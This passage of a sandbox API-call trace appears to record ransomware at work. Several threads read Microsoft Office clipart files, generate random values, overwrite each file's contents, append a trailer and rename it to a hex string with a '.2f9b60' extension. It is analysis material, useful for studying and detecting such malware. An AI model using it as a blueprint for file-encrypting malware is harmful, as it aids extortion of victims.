RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36a0 [0149.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a3b0) returned 1 [0149.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3640) returned 1 [0149.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c850 [0149.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a3b0 [0149.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20424b40 [0149.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20428750 [0149.754] ReadFile (in: hFile=0x2174, lpBuffer=0x20424b40, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x240afab0, lpOverlapped=0x0 | out: lpBuffer=0x20424b40*, lpNumberOfBytesRead=0x240afab0*=0x8b4, lpOverlapped=0x0) returned 1 [0149.754] SetFilePointerEx (in: hFile=0x2174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.754] WriteFile (in: hFile=0x2174, lpBuffer=0x20428750*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x240afab4, lpOverlapped=0x0 | out: lpBuffer=0x20428750*, lpNumberOfBytesWritten=0x240afab4*=0x8b4, lpOverlapped=0x0) returned 1 [0161.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5c30 [0161.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5c60 [0161.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c60) returned 1 [0161.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20428750) returned 1 [0161.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20424b40) returned 1 [0161.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a3b0) returned 1 [0161.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 [0161.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5c60 [0161.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c850 [0161.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a3b0 [0161.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5c90 [0161.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c90) returned 1 [0161.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5c90 [0161.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5cc0 [0161.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5cf0 [0161.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5cf0) returned 1 [0161.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a3b0) returned 1 [0161.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 [0161.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac650 [0161.834] SetFilePointerEx (in: hFile=0x2174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.834] WriteFile (in: hFile=0x2174, lpBuffer=0x423ac650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x240afbd0, lpOverlapped=0x0 | out: lpBuffer=0x423ac650*, lpNumberOfBytesWritten=0x240afbd0*=0x10a, lpOverlapped=0x0) returned 1 [0163.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3610 [0163.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3610) returned 1 [0163.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3610 [0163.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f35e0 [0163.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f35e0) returned 1 [0163.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.730] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="48") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="05") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="19") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="38") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="86") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="66") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="81") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="38") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="24") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="80") returned 2 [0163.730] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="99") returned 2 [0163.730] RtlInitAnsiString (in: DestinationString=0x240afc48, SourceString="ac2f485cd605fa0b19d738d32a5c86668e81ec3824ea8099" | out: DestinationString="ac2f485cd605fa0b19d738d32a5c86668e81ec3824ea8099") [0163.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x240afc18, SourceString="ac2f485cd605fa0b19d738d32a5c86668e81ec3824ea8099", AllocateDestinationString=1 | out: DestinationString="ac2f485cd605fa0b19d738d32a5c86668e81ec3824ea8099") returned 0x0 [0163.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857e20 [0163.731] RtlFreeAnsiString (AnsiString="a") [0163.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3610) returned 1 [0163.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac650) returned 1 [0163.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c90) returned 1 [0163.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5cc0) returned 1 [0163.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c60) returned 1 [0163.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5c30) returned 1 [0163.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f35b0) returned 1 [0163.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3670) returned 1 [0163.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36a0) returned 1 [0163.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d2e0 [0163.733] wcscat (in: _Dest=0x4230d2e0, _Source="ac2f485cd605" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605" [0163.733] wcscat (in: _Dest=0x4230d2e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605.2f9b60" [0163.733] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605.2f9b60", NtPathName=0x240afbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ac2f485cd605.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202780b0 Thread: id = 2343 os_tid = 0x1d00 [0149.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0149.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF", dwFileAttributes=0x20) returned 1 [0149.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2178 [0149.757] GetFileSizeEx (in: hFile=0x2178, lpFileSize=0x25dff740 | out: lpFileSize=0x25dff740*=2300) returned 1 [0149.757] SetFilePointerEx (in: hFile=0x2178, liDistanceToMove=0x8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.757] ReadFile (in: hFile=0x2178, lpBuffer=0x25dff6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25dff708, lpOverlapped=0x0 | out: lpBuffer=0x25dff6c0*, lpNumberOfBytesRead=0x25dff708*=0x4, lpOverlapped=0x0) returned 1 [0149.761] SetFilePointerEx (in: hFile=0x2178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3640 [0149.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36d0 [0149.762] NtQuerySystemTime (in: CurrentTime=0x25dff600 | out: CurrentTime=0x25dff600*=132462177549778000) returned 0x0 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x30e53aea [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x3ca1d69 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x5452209c [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x57779a8 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x2d17176a [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x26908abc [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x22e606eb [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x377ad8c2 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x5795962 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x7426ce21 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x2a6d1156 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x241f16c [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x1f8afc1e [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x11bbd345 [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x24abf1ac [0149.762] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x363b83be [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x41bc5a33 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x2601b443 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x3f7a2a56 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x23ff2dff [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x7c6fa0e1 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x351be90b [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x2b91b757 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x2623a7bb [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x580842f7 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x245c7033 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x6d952411 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x71794221 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x1239b4c0 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x1a1bbaef [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x1d6e3444 [0149.763] RtlRandomEx (in: Seed=0x25dff5f0 | out: Seed=0x25dff5f0) returned 0x1139a696 [0149.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3700 [0149.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a430 [0149.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3730 [0149.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a430) returned 1 [0149.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36d0) returned 1 [0149.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0149.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a430 [0149.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2042c360 [0149.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2042ff70 [0149.778] ReadFile (in: hFile=0x2178, lpBuffer=0x2042c360, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x25dff5f0, lpOverlapped=0x0 | out: lpBuffer=0x2042c360*, lpNumberOfBytesRead=0x25dff5f0*=0x8fc, lpOverlapped=0x0) returned 1 [0149.778] SetFilePointerEx (in: hFile=0x2178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.778] WriteFile (in: hFile=0x2178, lpBuffer=0x2042ff70*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x25dff5f4, lpOverlapped=0x0 | out: lpBuffer=0x2042ff70*, lpNumberOfBytesWritten=0x25dff5f4*=0x8fc, lpOverlapped=0x0) returned 1 [0161.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d50 [0161.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d80 [0161.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d80) returned 1 [0161.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2042ff70) returned 1 [0161.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2042c360) returned 1 [0161.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a430) returned 1 [0161.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0161.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5d80 [0161.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0161.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a430 [0161.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5db0 [0161.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5db0) returned 1 [0161.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5db0 [0161.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5de0 [0161.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5e10 [0161.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5e10) returned 1 [0161.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a430) returned 1 [0161.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0161.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac770 [0161.847] SetFilePointerEx (in: hFile=0x2178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x2178, lpBuffer=0x423ac770*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25dff710, lpOverlapped=0x0 | out: lpBuffer=0x423ac770*, lpNumberOfBytesWritten=0x25dff710*=0x10a, lpOverlapped=0x0) returned 1 [0163.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36a0 [0163.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36a0) returned 1 [0163.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36a0 [0163.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3670 [0163.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3670) returned 1 [0163.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.741] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="07") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="36") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="95") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="82") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="03") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="85") returned 2 [0163.741] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="45") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="84") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="de") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="f9") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="20") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="81") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="19") returned 2 [0163.742] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="46") returned 2 [0163.742] RtlInitAnsiString (in: DestinationString=0x25dff788, SourceString="1d0736e1c0958203e485c345cd845edef920818de47b1946" | out: DestinationString="1d0736e1c0958203e485c345cd845edef920818de47b1946") [0163.742] RtlAnsiStringToUnicodeString (in: DestinationString=0x25dff758, SourceString="1d0736e1c0958203e485c345cd845edef920818de47b1946", AllocateDestinationString=1 | out: DestinationString="1d0736e1c0958203e485c345cd845edef920818de47b1946") returned 0x0 [0163.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857e90 [0163.742] RtlFreeAnsiString (AnsiString="1") [0163.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36a0) returned 1 [0163.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac770) returned 1 [0163.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5db0) returned 1 [0163.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5de0) returned 1 [0163.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d80) returned 1 [0163.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d50) returned 1 [0163.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3640) returned 1 [0163.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3700) returned 1 [0163.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3730) returned 1 [0163.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d380 [0163.745] wcscat (in: _Dest=0x4230d380, _Source="1d0736e1c095" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095" [0163.745] wcscat (in: _Dest=0x4230d380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095.2f9b60" [0163.745] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095.2f9b60", NtPathName=0x25dff730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1d0736e1c095.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202782f0 Thread: id = 2344 os_tid = 0x1d04 [0149.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0149.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF", dwFileAttributes=0x20) returned 1 [0149.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x217c [0149.781] GetFileSizeEx (in: hFile=0x217c, lpFileSize=0x2534fc60 | out: lpFileSize=0x2534fc60*=2300) returned 1 [0149.781] SetFilePointerEx (in: hFile=0x217c, liDistanceToMove=0x8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 